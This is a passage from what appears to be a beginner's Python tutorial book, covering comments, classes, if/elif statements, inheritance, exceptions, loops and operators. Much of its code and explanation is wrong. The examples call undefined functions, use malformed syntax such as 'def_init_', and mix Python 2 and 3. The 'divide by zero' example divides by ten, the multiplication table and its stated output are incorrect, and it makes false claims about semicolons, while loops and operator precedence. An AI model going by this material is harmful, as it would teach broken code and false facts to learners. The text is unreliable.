
Outside of these simple rules, you can have a lot of freedom in what you would like to name all of your identifiers. If you do happen to forget one of the rules and you name something incorrectly, your compiler will have a syntax error, and you just need to go through and fix it.

Flow of control

Another thing that is important for your Python code is the flow of control. This helps you to figure out how you will write out that code so that it will work properly. Python keeps it simple and will write out the code from top to bottom, just like we are used to reading, so you won't have to worry about it being out of order or anything.

When you are writing out your code, think of it as writing out a grocery list. You will write down the first thing that you want to happen at the top, and then the second and so on until the code is done. It is as simple as that!

Statements

You will use a lot of statements when writing out a code in Python. These are useful for your code because they will just be strings of code, which includes some of the other parts we have talked about, that you will send over to the compiler to execute. You can write out pretty much any statement that you would like in your code, as long as it is written out in a way that your

compiler is going to understand. You can choose to make a statement short, such as having a few lines with it, or make it longer, there really aren't many rules with it.

Comments

At times in your code, you will want to write out something that is known as a comment. These can be helpful to the other programmers who may look through your code and need help understanding what is going on at each point. You will write them out so that those using the code won't have any idea that they are there (they won't affect the functionality of code). Instead, they are like little notes to yourself and to the other programmers to show what is going on.

To write out one of these codes, you will just need to write the (#) sign in front of all your comment. So, you would write out #this is my Python code. Then you just skip on to the next line when you want the code to start reading your code again. As long as that sign is in front of the information, the compiler is trained to just skip right over it and won't read anything that you wrote down. You can write out a lot of these codes or just a few depending on how complicated your code is. It is best to not write out too many of these though because it can crowd up the whole code and makes it harder to read.

Classes and objects

We will talk about these a bit more in one of the following chapters, but as you work on your Python code, you will notice that there are a lot of classes and objects that you will need to work with. The objects are basically the different parts that are found inside of your code while the classes will be the little containers that will hold onto these objects. The classes will help to keep the code more organized.

Now, when you are creating a class, you need to make sure that the objects that you place inside of that class are similar in some way. They can't all be random, but that doesn't mean that you can't have them be a little bit different. When someone looks into your class, they should be able to tell why you placed the objects in there together. For example, you can write out

a class for vehicles, and then you would have cars, vans, trucks, and so on. These are not all the same, but most people would have a good idea why they are in the same class.

Functions

Functions are another important part o the Python language. This is basically a part of the code that you are able to reuse, and that is often used inside the code just to finish off one action. Functions are great because they are more effective than other options so you can work on your code without wasting time. There are a lot of functions that are found in the Python language so you can benefit from this, plus, you are able to write out some of your own functions as well.

When you are working on your code, you will need to make sure that you are defining the function. Once you have been able to define the function and it is considered finalized, it is time to execute it to work in the code. You have the choice to call it up from the Python prompt, or you can call it up from another function. Below is an example of how you are able to do this:

```
#!/usr/bin/python

# Function definition is here
def print( str ):
   "This prints a passed string into this function"
   print str
   return;

# Now you can call printme function
printme("I'm first call to user defined function!")
printme("Again second call to the same function")
```

When this is placed into your compiler, you will be able to see the two statements that we wrote out inside of the code come up like a message. This is just one example of how you would call up a function, and you can always change up the statements that are inside the code and figure out how you want them to execute later.

Variables

And now we are going to spend some time talking about variables. Variables are going to be little spots on the memory of your computer that you will reserve to store values of your code. When you create a new variable, you are reserving some space in your memory. In some cases, and with some data types, the interpreter is able to decide where you should store this information to use later on. This helps to speed up the process for you since you will work a lot of data types for your variables including decimals, integers, and characters.

Your job in this process is to make sure that the right values are going to the right variables; this helps you to make sure that it all works inside the code you are working on. You are able to give the variable whatever value you want, but it is best to make sure that these work inside of your code. When you want to assign a value to a variable, you should simply use the equal (=) sign. A good example of how you would do this assignment includes:

```
#!/usr/bin/python

counter = 100          # An integer assignment
miles   = 1000.0       # A floating point
name    = "John"       # A string

print counter
print miles
print name
```

With this particular example, you are going to get the results that went with the variable that you placed with the value. For example, the counter is going to provide you with 100 for the result, the miles would be 1000, and the name is going to give you the result of John.

As you can see, there are a lot of different parts that can come with your Python code. But all of these come together pretty well so that you can make some complex and powerful programs. You will use these quite a bit as you

start to work on more of your own codes.

Chapter 2: What are Classes and Objects in the Code?

The first topics that we are going to discuss when working on a Python code are the objects and classes. These are important because they are going to help you to put everything in the right place with your code. The objects are used to help you define certain parts of the code so that they are organized and pretty easy to understand. For the classes, you use these because they work as containers for the objects. The objects that share something in common are going to end up in the same class because this helps the code work more effectively.

When you are working with your objects, it is important to understand that whenever they are placed together into the same class, you can do this with anything that you would like. Of course, for this to work the best, they need to have some similarity to each other before they are placed into that class. This helps the code to stay in order a bit more. Think about it like organizing the kitchen or your closet. You want to make sure that all of the shoes are in one area, the clothes are hung up together, the purses placed in the corner together, and other items grouped so that it is easier for you to find them later on. The classes that are created can have any object that you would like, but it is best if they are grouped because they are similar in some way so that the program works better.

To keep things simple, the objects are going to be different parts of the code that you are writing, and then the classes will be like the boxes or the containers that can hold onto these objects, objects that have something similar to each other, so they aren't just rolling around together. You will need to label these classes as well to help them work better, but pick out a name that makes sense for the information inside. Remember that while the objects need to be similar, they don't need to be identical when they are inside of the same class. People who look at these objects should understand why they go together, but they don't have to be exactly the same.

If you are working on learning a new programming language, objects and

classes are a good way to help you learn more while also making sure that you keep your information organized inside of the code. It is your job to learn how to create these classes properly, and you place the objects inside of it, you will see that your codes will work out better.

Creating A New Class

Now that we know a bit more about the objects and the classes, it is time to learn how to create one of these new classes because you will need to do that quite a bit of this with your codes. When you want to create a statement for one of these classes, you need to take some time to create a brand-new definition as well. You need to place the keyword in first and then add in the name of the class right after this. This is followed with the superclass being inside some parenthesis. Another thing to look at is that the end of this first line needs to be a semicolon. This isn't really required because your code will still work with it, but you will find that it is considered proper coding etiquette to add this in.

All of this may be a little bit confusing, so let's take a look at the example below to see how we would create a new class inside of Python:

```
class Vehicle(object):
#constructor
def_init_(self, steering, wheels, clutch, breaks, gears):
self._steering = steering
self._wheels = wheels
self._clutch = clutch
self._breaks =breaks
self._gears  = gears
#destructor
def_del_(self):
     print("This is destructor….")

#member functions or methods
def Display_Vehicle(self):
   print('Steering:' , self._steering)
   print('Wheels:', self._wheels)
```

```
    print('Clutch:', self._clutch)
    print('Breaks:', self._breaks)
    print('Gears:', self._gears)
#instantiate a vehicle option
myGenericVehicle = Vehicle('Power Steering', 4, 'Super Clutch', 'Disk Breaks', 5)

myGenericVehicle.Display_Vehicle()
```

You should take a moment to open up your compiler and write out this code. As you work on it, you should notice that there are some different parts that show up inside o the code. The first one is going to be the definition of the object, the definition of the method, the destructor function, and the different attributes that are in the code. You will also notice that there are some regular functions and the class function that show up as well. Since some of these are pretty important to the code, we are going to take a moment to talk about them.

Class Definition

First on the list is class definition. You will need to write out the object instantiation and the class definition to write out the syntax of your code. These will be important because they tell your compiler what you want to do and the commands that it will need to follow. If you would like to invoke the new class definition with your code, it is simple to just add in the object.attribute or the object.method() function to make this happen.

Special Attributes of the Code

In addition to working on the class definition, there are also some special attributes that you will have recognized inside your Python code. You should take some time to learn what these are because they really do make a difference in the code that you are working on. You will find that these give you some peace of mind of already knowing when the attributes will be seen and that they will be used in the proper way inside the code. There are quite a few attributes that are considered special inside the Python code, but the ones that we are going to pay attention to include the following:

__bases__: this is considered a tuple that contains any of the superclasses
__module__: this is where you are going to find the name of the module, and it will also hold your classes.
__name__: this will hold on to the class name.
__doc__: this is where you are going to find the reference string inside the document for your class.
__dict__: this is going to be the variable for the dict. Inside the class name.

Accessing members of the class

To get the compiler to recognize the class and execute the parts of the code that you would like, you need to make sure that the code is set up to access all of the members of your classes. There are a few options that you can use to make this happen. All of the methods will work well, the accessor method is the one that is the most often used because it will provide the information inside of the syntax and makes things easier. Let's take a look at a code that will show us how to get this done:

```
class Cat(object)
        itsAge = None
        itsWeight = None
        itsName = None
        #set accessor function use to assign values to the fields or member vars
        def setItsAge(self, itsAge):
        self.itsAge = itsAge

        def setItsWeight(self, itsWeight):
        self.itsWeight = itsWeight

        def setItsName(self, itsName):
        self.itsName =itsName

        #get accessor function use to return the values from a field
        def getItsAge(self):
        return self.itsAge
        def getItsWeight(self):
```

```
        return self.itsWeight

        def getItsName(self):
        return self.itsName

objFrisky = Cat()
objFrisky.setItsAge(5)
objFrisky.setItsWeight(10)
objFrisky.setItsName("Frisky")
print("Cats Name is:", objFrisky.getItsname())
print("Its age is:", objFrisky.getItsAge())
print("Its weight is:", objFrisky.getItsName())
```

If you take some time to place this into your compiler, you will get some results right away. It will state that the name of the cat is Frisky (unless you put in another name there), that the age is 5 and the weight is 10. This is based on the information that we just used inside our code. You can easily change up any of the information or even add to it if you would like by using the basic syntax that is provided above.

Using classes is one of the best ways for you to take all of the information in the code and put it together, so it makes sense. You will need to go through and place your objects inside of the classes for this to work, and the objects do need to be similar in some way, but this is an easy way for you to keep things organized when you are working in Python.

Chapter 3: The “ If Statements ” in Python

The decision control statements, which are also known as the if statements are the next topic that we will talk about when writing your own Python code. In some cases, you want your Python code to make some decisions for you based on the information that the user provides to you. For example, if you are working on a game and the user is allowed to put in a few options, you can choose how the program is going to react based on the answer that the user will put into it.

There are a few different types of these if statements. With the most basic one, you will only have the computer respond if the user puts in the right answer. So if you want them to put in an age that is 18 or above, and they place that age in, they will get a message or allowed into the system. But if they put in an age that is considered wrong, the most basic of the if statements will just kick them out of the program. Of course, this is not always the best option for your program, and you can expand out the if statements so that you can have a response no matter what answer the user gives to you.

To get started, we will keep it pretty simple for this topic and start out with the most basic of the if statement. This is going to be the easiest and the simplest form of these decision control statements because, with this one, the program will only proceed if the user puts in the answer that you list as correct. In this case, I the user puts in the wrong answer, which will be determined by the conditions that you set ahead of time, the program is going to stay blank. As you can imagine right now, there are some limitations to using this method, but it will help you to get the basics of how these statements work. A simple example of the if-statement includes:

```
age = int(input(“Enter your age:”))
if (age <=18):
        print(“You are not eligible for voting, try next election!”)
print(“Program ends”)
```

Let’s take a look at the code above. There are going to be a few things that you will see happen. If your user is in the program and they say that they are

18 years or under, the program will continue to work, and they will see the message “You are not eligible for voting, try next election!”. When the user sees this on the screen, the program right now is set to just stop working, but we can add in something else as well if we want. On the other hand, if your user puts in an age that is above 18, they are not going to get a result. Their age is not necessarily wrong here, but since it doesn’t meet the criteria that you set.

So, with this program, if the user goes through and puts in that their age is 25, the program can tell that this doesn't meet the conditions that you set. Because the conditions are not met at this point, your program is set up to just end right here. Later we will move on to being able to accept both types of answers and the results that you would like to have shown up for each one, but right now, the program sees that the condition doesn't match up and then closes things down.

Now, there are going to be a lot of times when you would want the code to respond to any answer that the user gives to it. The user is allowed to put in that their age is 25 or some other number, and having the program just end doesn’t make much sense here. This is when we are going to move on to what is known as the if…else statement. With this one, if the conditions are not met, the program will move on to the second part and will execute what you place in there. Let’s take a look at how the if…else statements work inside of Python:

```
age = int(input(“Enter your age:”))
if (age <=18):
        print(“You are not eligible for voting, try next election!”)
else
        print(“Congratulations! You are eligible to vote. Check out your local polling station to find out more information!)
print(“Program ends”)
```

This option is going to open up a lot more doors than what you were able to do with just the if statement on its own. There are going to be two options that come up with this one (although you will later learn how to accept more than one answer as well). If the user goes through and types in that they are

17 or a younger age, the statement about them being too young to vote will come up. But this statement goes a bit further and has an option for those who list that they are older than 18. When the user places in a number like this, the second statement in our code is going to show up.

You do have a lot of freedom when you are working on the if…else statements. You can add in a few of these options, and you will be able to change up the statements that show up to fit into the code that you are creating. This basically makes it so much easier for you to react to your users no matter what they put in as an answer.

Now, the example above of the if…else statements is pretty simple, and it is possible for you to go through and add in more steps to the code as well. For example, if you want to allow the user to put in more than two answers, such as three or four options, you can do this will just some more parts to the code. You could choose to have a different message come up for those who are in the 16 to 18 age group, one that is for those who are 19 to 25 years old, and another for those who are at least 26 years old. There are a lot of possibilities that you can use, you just need to look at the program that you want to work with and then split it all up based on what will work the best for your code.

The elif statements

The next if statement we are going to take a look at is known as the elif statements. We spent some time looking at how the basics of the if statements and the if…else statements, both of which can add some interaction in the code between you and the user. But there are some other things that you may want to have to happen with your code, such as letting the user pick from a list of options that will come up for them. If you want to make this list of options come up, the elif statement can be the right one for you.

Elif statements are so easy to use, and you can easily add in more of these statements to your code if you would like. The example that we are going to use will have three options and then a catch all if the user doesn't like any of the answers, but you could add in 20 of these if you would like. In some cases, your elif statement is just going to have a few options for the user to pick from, but in some codes, you need to provide many more options to

have this work. The nice thing about the elif statements is that you are able to add in as many as the code needs as long as you write it all out in the proper way.

Let's take a look at how the elif statement is going to work. Remember that this option is pretty simple and you can make them as complicated as your program needs:

```
Print("Let's enjoy a Pizza! Ok, let's go inside Pizzahut!")
print("Waiter, Please select Pizza of your choice from the menu")
pizzachoice = int(input("Please enter your choice of Pizza:"))
if pizzachoice == 1:
    print('I want to enjoy a pizza napoletana')
elif pizzachoice == 2:
    print('I want to enjoy a pizza rustica')
elif pizzachoice == 3:
    print('I want to enjoy a pizza capricciosa')
else:
    print("Sorry, I do not want any of the listed pizza's, please bring a Coca Cola for me.")
```

When this code comes up on the screen, your user will be able to take a look and make up their mind on the choices they want. The user can simply pick out the corresponding number to go with this. For example, if they would like to order a pizza napoletana, they would simply need to press number one to make this happen. Then there was also an option at the end of this elif statement code so if the user doesn't want to use any of those pizzas as their choice, they can still get a drink to enjoy. This option just has three options and then the catch all if they don't want any of the pizza options, but the programmer can add in more pizza options if they would like.

And that is really all there is to the decision control statements or the if statements. These can really add some more power to the code and allows for some interaction between the program and the user without you needing to be there at the time. The user can pick out what answer suits their needs the best, and the program will be set up to react in a certain way. You can keep it simple with the if statement and only allow the user to pick one right answer,

use the if…else statement so that they can have a few different results based on what they want to put in or the elif statements that will provide the user with the options that are acceptable. There is just so much that these statements can open up and learn how to use the if statements will help you to see results in your own program.

Chapter 4: Working with Inheritance Codes

The next topic that we are going to talk about is known as inheritance codes. These will save you some time whenever you want to reuse parts of the code without having to write things out quite as much. May of the object oriented programming, or OOP, languages, will use this because you can reuse the code while also making some adjustments to some of the code as well. It basically saves you time, is more efficient, and will make the code easier to read. As a beginner, this is a great thing to learn how to use because you won't have to write out as much over time.

To keep things simple, an inheritance is going to be when you take some part of the code you are working on and then turn it into a second class. Inside this second class, you are going to have the exact information as you did from the first class, but you can change some things up and make it work how you want, without ever having to worry about the first class clanging. You can choose to do this with just one time, or you can make a big string of code depending on what you are working with. The inheritance makes this quick and easy to do, and you will enjoy how nice the whole code will look.

To get started with the idea of inheritances, we need to stop and take a look at the base class, which is also known as the first class, and we will use him to create the derived class, which is known as the second class, with the help of these inheritances. It is going to look like the following:

```
#Example of inheritance
#base class
class Student(object):
        def__init__(self, name, rollno):
        self.name = name
        self.rollno = rollno
#Graduate class inherits or derived from Student class
class GraduateStudent(Student):
        def__init__(self, name, rollno, graduate):
```

```
        Student__init__(self, name, rollno)
        self.graduate = graduate

def DisplayGraduateStudent(self):
        print"Student Name:", self.name)
        print("Student Rollno:", self.rollno)
        print("Study Group:", self.graduate)

#Post Graduate class inherits from Student class
class PostGraduate(Student):
        def__init__(self, name, rollno, postgrad):
        Student__init__(self, name, rollno)
        self.postgrad = postgrad

        def DisplayPostGraduateStudent(self):
        print("Student Name:", self.name)
        print("Student Rollno:", self.rollno)
        print("Study Group:", self.postgrad)

#instantiate from Graduate and PostGraduate classes
        objGradStudent = GraduateStudent("Mainu", 1, "MS-Mathematics")
        objPostGradStudent = PostGraduate("Shainu", 2, "MS-CS")
        objPostGradStudent.DisplayPostGraduateStudent()
```

When you type this into your interpreter, you are going to get the results:

```
('Student Name:', 'Mainu')
('Student Rollno:', 1)
('Student Group:', 'MSC-Mathematics')
('Student Name:', 'Shainu')
('Student Rollno:', 2)
('Student Group:', 'MSC-CS')
```

Overriding The Base Class

The next thing that we are going to look at is how to override a base class. There are going to be a few occasions when you are writing a new derived

class when you will need to go in and override what is in this base class. What this basically means is that you are going to take a look at what is inside of the base class and then replace some of the behavior, which makes it possible for this new behavior to be available inside the new child case that we are creating.

This can sound a little bit complicated, but it is nice because you will be able to pick and choose the parental features that you need in the derived class, which ones you want to keep, and which ones you want to get rid of when you make a new class. This whole process will help you to make some changes to your new class while you still keep around whatever original parts from the base class that you want. And with the help of using the override method, you won't have to deal with duplicating code and getting the code stuck along the way. It is a simple way to keep the parts that you want, get rid of the parts that aren't working, and make your code behave the way that you want.

Overloading

You may also want to consider working with the process known as overloading when working with the inheritances. When you are working on the process of overloading, you will take one of your identifiers and then use it to define two or more methods. For the most part, these will be just two methods that are in the class, but there are times when it can be linked with more than the two. The two methods will have to be inside the same class, but you need to give them each different parameters to keep them separate. You will find that you will want to use this method when you want the two matched methods to go through the same tasks, but you want to make sure that they follow different types of parameters.

Since you are a beginner, it is not common that you will go through the process of overloading because it isn't all that common to start with. But it is still a good idea to learn a bit about it in case you see it in some codes that you borrow for your program. If you do need to go through and work on overloading, it is a good idea to go through and download the extra module that comes with Python that is responsible for getting the overloading done.

More Than One Inheritance

It is also possible for you to work on more than one inheritance. This means that you are able to make a line of inheritances that all share some similarities and which will be able to have changes made to them as well. You will notice that the multiple inheritances are going to be similar to a normal inheritance, but you will pretty much take it another step further. When using multiple inheritances, you are going to take one class and then give it at least two or more parent classes to help design it. This is important for growing the code, but you can do this without having to worry about having a mess when you write out the code.

Working on multiple inheritances may sound complicated, but it is a pretty simple process. When you are working with these types of inheritances, you will create a new class, which we will call Class3, and this class was created from the features that were inside of Class2. Then you can go back a bit further and will find that Class2 was created with the features that come from Class1. Each layer is going to contain features from the class that was ahead of it, and you can really go down as far as you would like. You can have ten of these classes if you would like, with features from the past parent class in each one, if you would like, as long as it works inside your code.

One thing to remember when you are working on your code and adding in some multiple inheritances is that Python is not going to allow for a circular inheritance. You are allowed to use as many of these parent classes as you would like, but you won't be able to go through and make the classes go around in a circle or Python will get mad at what you are trying to do. Expanding out the example above to make a Class4 and then a Class5 and so on are all allowed and can work well, but you need to make sure that you go through and copy out all of the codes in the proper way before making any changes for this to work.

You will find that working with inheritances, especially multiple inheritances is going to be a popular thing to work with inside of Python coding. There are quite a few times when you will be able to stick with the same block of code in the program and then make whatever changes you want without having to rewrite everything and make it look like a mess. With the help of

inheritances, you are able to write the code out as many times as you want and make changes more efficiently than you did before.

Chapter 5: How to Handle Exceptions in Your Code

As you are working on your code in Python, there will be some occasions when you can add in some exceptions to the code. This is something that you may not have heard about before, and it is a bit confusing in the process, but it is important to understand and learn how to work with exceptions so that your codes work the way that you would like. There are going to be some exceptions that are already found in the Python code, and if you raise them, the system will let you know. And depending on the type of code that you are writing, you may want to go through and add in some of your own exceptions as well so that users aren’t able to do certain things. Let’s take a little look at how exception handling will work so you can use it in your own computer programming.

If there is ever an abnormal condition that will go on with your code, either one that the Python compiler already recognized or that you are setting up to work personally on the program that you are creating, you need to use the idea of exceptions inside your code. As we have briefly mentioned, there are going to be a few exception conditions that the compiler will already recognize, and if they are used, the code won't allow the program to finish. For example, if you are adding in the wrong kind of statement to the code, or you misspell one of your classes so the compiler can't find it, or you try to divide by zero, the compiler won't be able to deal with this request and the exception is going to be raised.

These are just a few examples of the types of exceptions that the compiler is going to raise for you. In addition, you are going to run into times when you would like to change around the program that you are working on and you want it to raise an exception. These kinds of exceptions are technically just fine with the interpreter, but according to what you want the program to finish with, you will want the code to raise these exceptions.

An example of this is when you are working on a more adult themed website. You only want to allow users who are at least 21 years old to be able to get

on the website. As the programmer, you could raise up an exception that will show up if your user happens to put their age in as 20 or younger. When this happens, you will raise the exception and your code will know not to let the person get through to the website.

As you work through your programming with Python, it is a good idea to look through the library that is provided. You should notice that inside of this library, there are a few exceptions that are already accepted there. These are good to know because they will make code writing more efficient and you can use them anytime that you need for your own code writing. One of the most common exceptions that show up in the Python language is when you try to divide by zero. You may also run into the issue of trying to read a point that is past where the current file is located. Either of these will cause an exception to be raised in the code.

In addition to what we have talked about so far, there will be times when you want to allow some things to happen and this is where exception handling is going to be the most useful. For example, if you just leave the code alone, if someone goes through and tries to divide by zero, the exception handling will just put up an error message and then the program will close down. If you are in a code, you don't want to have something new show up rather than having a blank computer screen. With the idea of exception handling, you can have a new message come up so that the user knows what is going on and why the computer has an error. For example, you could write out a message that says "You are trying to divide by zero!" rather than just closing out the system.

While the dividing by zero exception is one of the most popular exceptions that you will see, you can also add in some of your own exceptions, even if you don't already see these present inside the Python library. While the code is going to add in the exception at times, there will be times when you will go through and add in some of these errors on your own while also determining how you would like your compiler to react when the user brings up these exceptions.

It is important to have a good idea of some of the exceptions that are already found in the Python library, so you know which ones you are able to use. Some of these exceptions include:

- Finally—this is the action that you will want to use to perform cleanup actions, whether the exceptions occur or not.
- Assert—this condition is going to trigger the exception inside of the code
- Raise—the raise command is going to trigger an exception manually inside of the code.
- Try/except—this is when you want to try out a block of code and then it is recovered thanks to the exceptions that either you or the Python code raised.

Raising an Exception

Now that you know what an exception is all about and when you would like to use them inside of the code you that you are writing, it is time for us to learn how we can raise the exceptions inside of the code. If you are going through the code and notice that there is an issue with it or that your program is doing something that seems a bit wrong, you will see that the compiler is going to say something about this and the exception will be raised. This is because the program while reading through the code, is having trouble figuring out what it wants you to do in this situation. Sometimes the issue is pretty simple, such as seeing that you mistyped the name for one of your files, or it could be something like trying to divide by zero.

Let's look at an example where your compiler is going to raise an exception against what you are trying to do inside of the code. This would look like the following:

```
x = 10
y = 10
result = x/y #trying to divide by zero
print(result)
```

The output that you are going to get when you try to get the interpreter to go through this code would be:

```
>>>
```

```
Traceback (most recent call last):
        File "D: \Python34\tt.py", line 3, in <module>
        result = x/y
ZeroDivisionError: division by zero
>>>
```

For this particular example, the program is raising up an error for you because, in the code, you tried to write out that you wanted the code to divide by zero. As we have talked about a few times, dividing by zero is something that the Python code is not going to allow, so you end up getting an error. Now, if you do try to get through and run the program, you are not going to want this error message to show up because it can look a bit messy and unprofessional inside of your code, so you want to make some changes.

The good news is that you do have a few options that you can work with that add something to the code while also letting you choose what is going to happen when these exceptions are shown, rather than the messy error message. You could change up the message that comes up in the error box, for example, or you can even tell the code to react differently rather than showing up the error message in the first place.

Often as a beginner, you will want to choose to have a message come up on your screen so that the user knows what is going on and why the exception is being raised. When you write out your own messages, it helps the code to seem friendlier than a confusing exception message, and it makes it easier for the user to make changes that will move the code along. To see what happens when you change the message that comes up when an exception occurs includes:

```
x = 10
y = 0
result = 0
try:
        result = x/y
        print(result)
except ZeroDivisionError:
        print("You are trying to divide by zero.")
```

Now you should notice that this code is going to be pretty similar to what you had above, but it is really easy to change up the message that comes up. With this one, you are going to have an error come up, just like you did before, but you are able to get an easy message to come up, one that the user will be able to understand, rather than the messy message that we had in the last example. You are able to write in any message that you would like in here, but the whole point is to keep it nice and simple, let the user know what went wrong, and then helps the user to make the changes that are needed to move on with the code.

Defining Your Own Exceptions

The next thing that we are going to look at is how you can raise some of your own exceptions. In the examples that we did before, we spent some time discussing what will happen when the compiler sees an issue in the code, and it doesn't know how to handle it. But sometimes you are going to work on your own code, and you will want to add in some special exceptions to help it work the way that you want. These exceptions are often going to be just fine with the compiler, and the compiler won't see anything wrong with what you are writing out, but you need to raise the errors based on how the program should work.

For example, you may be working on a code, and you want to make sure that the user is not allowed to put in some numbers while others are going to be just fine. In this example, it would be your job to add in an exception for this. You could be working on a game in your programming, and you want to make sure that the user is only able to make a guess for three times, so you will raise a new exception to handle all of this. The compiler would be fine with the user making as many guesses as they want in this example, but you are able to raise an exception to control how the program works.

As the programmer, you are the one who can create whatever rules that you want to dictate how the code is going to work. Any time that you want to make a condition abnormal in your program, you just need to make sure that you go through the process of raising an exception. Let's take a look at how to create these exceptions so that you can use them any time that you need

inside your own codes:

```
class CustomException(Exception):
def_init_(self, value):
        self.parameter = value
def_str_(self):
        return repr(self.parameter)

try:
        raise CustomException("This is a CustomError!")
except CustomException as ex:
        print("Caught:", ex.parameter)
```

In this code, you have been successful in setting up your own exceptions and whenever the user raises one of these exceptions, the message of "Caught: This is a CustomError!" is going to come up on the screen. This is the best way to show your users that you have added in a customer exception into the program, especially if this is just one that you personally created for this part of the code, and not one that the compiler is going to recognize on its own.

Now, for the example that we used above, we stuck with some generic wording for the exception to keep it pretty easy. The good news is that you are able to make changes as you need and add in whatever message you need to make the exception work. You can choose to write out something else if you would like, such as "You have to be 18 to use this program" or another message based on what your exception is all about.

Exception handling is so important once you get started on working on some of your own codes. There are many times when you will want to add in an exception to the code that you are writing and learning how to do this and write out the right messages will help it to go so much better. If you feel that the code you are going to write will need some of these exceptions, then you should take some time to type these examples into your compiler to get a little bit of experience in the process!

Chapter 6: How Loops Can Save You Time

Earlier we spent some time talking about the decision control statements and how these statements will work to help you interact with the user a bit more. But there are still some limitations that are found in the if statements. This is where the loops are going to come into play. These loops are going to be helpful when you are working on a program that needs to repeat itself inside the code, but you don't really want to write out the code all those times. For example, you could work it out so that your code will list out all of the numbers from 1 to 10. You don't really want to go out and write the same code ten times so that all of these numbers show up. Using the idea of a loop would help Python to get this done with just a small block of code, saving you time and making the code much easier to read.

While there is a lot of information found inside of these loops, they are pretty simple to work with. These loops will just tell the compiler to keep going back through the same part of the code over again until a condition (which you will set up in the code) has been met. If you are trying to get the code to count from one to ten, you simply need to tell the code that it can stop counting once it gets to ten. This is pretty easy to accomplish, and we can look at a few examples to help you get started.

One thing that you have to remember when working on these codes is that you do need to set your condition before running the program. If you forget to set these conditions, you are going to get the program stuck in a continuous loop that is stuck. Double check any of the codes that you write that have loops inside of them so that you make sure the program moves on once the loop is all done.

As you work through your Python code, you may find that there are a few different types of loops that you are able to work with. We will spend some time talking about the most common loop types that will work for most of the codes that you want to write.

The While Loop

The first loop that we are going to look at is called the while loop inside the Python code. This loop is a good one to use if you know ahead of time how often the code should go through the cycles. If you just want the code to go for a few rounds before moving on, you would want to use the whole code. Any time that you don't want the loop to have the potential of going through the cycles an indefinite amount of times, you can write down some conditions that will tell the loop when to stop, and the while loop can help with this. And if you want to make sure that the loop is going to go through the process at least one time to check if the results are true or false, you will want to use the while loop. Let's take a look at an example of how this can work to help it make a little more sense:

```
#calculation of simple interest. Ask user to input principal, rate of interest, number of years.

counter = 1
while(counter <= 3):
    principal = int(input("Enter the principal amount:"))
    numberofyeras = int(input("Enter the number of years:"))
    rateofinterest = float(input("Enter the rate of interest:"))
    simpleinterest = principal * numberofyears * rateofinterest/100
    print("Simple interest = %.2f" %simpleinterest)
    #increase the counter by 1
    counter = counter + 1
    print("You have calculated simple interest for 3 time!")
```

Take a little bit of time to place this into your compiler and let the code execute. When this is done, you should notice that the output is going to come out so that the user is able to place their information, any information that they want, inside so that it is computed. This one is about interest rates, so the user is able to figure out their interest rates and the final amount based on how much they are purchasing and how much the interest rate is. We have set it up so that the loop is going to go through the motions three times, but if you would like to allow the user to go more than that, you can as well.

The For Loop

The next type of loop that we are going to use is known as the for loop. This one is a bit different than the while loop, but it can be extremely useful in a lot of the codes that you want to write. In fact, the for loop is considered the traditional way for you to write out your loops, so it is a good one to learn how to use.

When you are using the for loop, the user isn't able to go into the code and give it the information, and they won't be able to determine when these loops will start. But with the for loop, Python is going to go through the iteration in the order that it shows up inside of your statement, and then this is going to show up on the screen in front of you. It does not need any input from someone else, and it will just keep on going until it reaches the end. An example of how you would use the for loop includes the following:

```
# Measure some strings:
words = ['apple', 'mango', 'banana', 'orange']
for w in words:
print(w, len(w))
```

Now, when you are working on the above example, you can place the information inside of your code, and then when it executes, the program is going to list out the four fruits that are on the screen, keeping them in the same order that you wrote them out. If you want them to show up in a different order than what they show above, you need to write them out differently; the code is not going to do that for you. Once the words are placed in the syntax, and you execute the code, you will not be able to make these changes so be careful with this one.

The Nested Loop

The final loop type that we are going to take a look at because it can be helpful with a lot of different codes in Python is known as the nested loop. When you are working with a nested loop, you will take one of the basic loops from before and place it inside of another loop. Both of these loops will be given permission to run until they are complete. There are a few times when doing this can be useful in your code, such as when you would like to write out a new multiplication table that will start with one and goes up to

ten. Let's take a look at how you would write out this kind of nested loop in your code:

```
#write a multiplication table from 1 to 10
For x in xrange(1, 11):
        For y in xrange(1, 11):
        Print '%d = %d' % (x, y, x*x)
```

When you got the output of this program, it is going to look similar to this:

1*1 = 1
1*2 = 2
1*3 = 3
1*4 = 4
All the way up to 1*10 = 2
Then it would move on to do the table by twos such as this:
2*1 =2
2*2 = 4
And so on until you end up with 10*10 = 100 as your final spot in the sequence

These are some of the most basic loops that you would want to use when you are working on your own code inside of the Python language, and they can be used for many different reasons. You can use it to clean up the code a bit even if you want the same bit of code to keep on running over and over again. It is also a lot simpler to work on than the if statements when you want the same action to keep on happening. Your code will look a lot better, but there will still be a lot of power behind it if you use one of the loop options above.

Chapter 7: Add Something New to the Code with Operators

The last topic that we are going to discuss is that of the operators. These operators can make the code a bit stronger, and there are quite a few different operators that you are able to use. You can use these operators to do a variety of things including giving a valueto your variable, comparing parts of your code together, and even mathematical equations. It is all going to depend on what you would like your code to be able to do. Let ' s take some time to look at these different operators and how they can work inside of your code.

Arithmetic Operators:

The first type of operators that are often used is known as the arithmetic operators. These are pretty basic to use and will be used any time that wants to work with a mathematical equation. For example, you could use it in order to add together two operands inside of your code There are some basic options that you are able to use with the arithmetic operators including:

- (+): this is the addition operator and it is responsible for adding together both of your values.
- (-): this is the subtraction operator and it is going to be responsible for taking the right operand and subtracting it from the left.
- (*): this is the multiplication operator, and it is used to multiply two or more values in the equation.
- (/): this is the division operator and it is going to divide the value of the left operand from that on the right and gives you the answer.

You get some choices when you are working with this as well. You can choose to write out a statement that just has one of these operators inside of them, or you could add in a few of them. For example, it is fine to add three numbers together inside of your code, or you can multiply a few and subtract some others. If you are using more than one of the arithmetic operators in your code, remember that you will need to use the method of operations. This means that you start with the multiplication, go on to the division and then

end with the addition and the subtraction. This is how the compiler will do the work to ensure that you are getting the right answers.

Comparison Operators

Another type of operator that is commonly used inside of Python is known as the comparison operator This one is going to be helpful when you want to compare together two or even more values and statements inside the code you are writing. You will often see these used with the Boolean expressions because they operate on the idea of true or false results; you are either going to have the numbers or the statements equal each other, or they won't, and that is all you need to do with them. The comparison operators that you will use inside of Python include:

- (>=): this one means to check if the left-hand operand is greater than or equal to the value of the one on the right.
- (<=): this one means to check if the value of the left-hand operand is less than or equal to the one on the right.
- (>): this one means to check whether the values of the left side are greater than the value on the right side of the code.
- (<): this one means to check whether the values of the left side are less than the values that are on the right side.
- (!=): this is the not equal to operator.
- (==): this one is the equal to operator.

